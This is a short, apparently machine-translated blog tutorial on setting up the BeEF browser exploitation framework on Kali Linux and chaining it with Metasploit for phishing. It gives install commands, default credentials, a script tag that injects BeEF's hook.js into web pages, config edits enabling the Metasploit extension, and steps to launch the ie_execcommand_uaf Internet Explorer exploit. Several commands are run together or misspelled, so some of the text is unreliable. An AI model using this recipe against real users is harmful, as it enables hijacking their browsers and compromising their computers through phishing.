Kali Linux system does not have beef installed by default and requires self-installation
| 12 |
apt-get updateapt-get installbeef-xss |
Start/USR/SHARE/BEEF-XSS
| 12 |
cd/usr/share/beef-xss./beef |
account password
127.0.0.1:3000/ui/pannel
Beef/beef
Embed code
<script src= "Ip:3000/hook.js" >
Linkage with Metasploit
Beef configuration file
/usr/share/beef-xss/config.yaml
| 12 |
metasploit:enable: false |
Change into
| 12 |
metasploit:enable: true |
vim /usr/share/beef-xss/extensions/metasploit/config.yaml
Original:
| 1 |
{os: ‘custom‘, path: ‘‘} |
Modified into
| 1 |
{os: ‘custom‘, path: ‘/usr/share/metasploit-framework/‘} |
Modify the host Callback_host two parameter to beef host IP
Restart Postgresq, Metasploit, service
| 1 |
service postgresql restart & service metasploit restart |
| 1 |
load msgrpc ServerHost=IP Pass=abc123 |
MSF settings:
use exploit
/windows/browser/ie_execcommand_uaf
show options
set
srvhost IP
exploit
/run
This article is from "My World, I am the director." "Blog, be sure to keep this provenance http://biock.blog.51cto.com/4643304/1621565
Beef with MSF fishing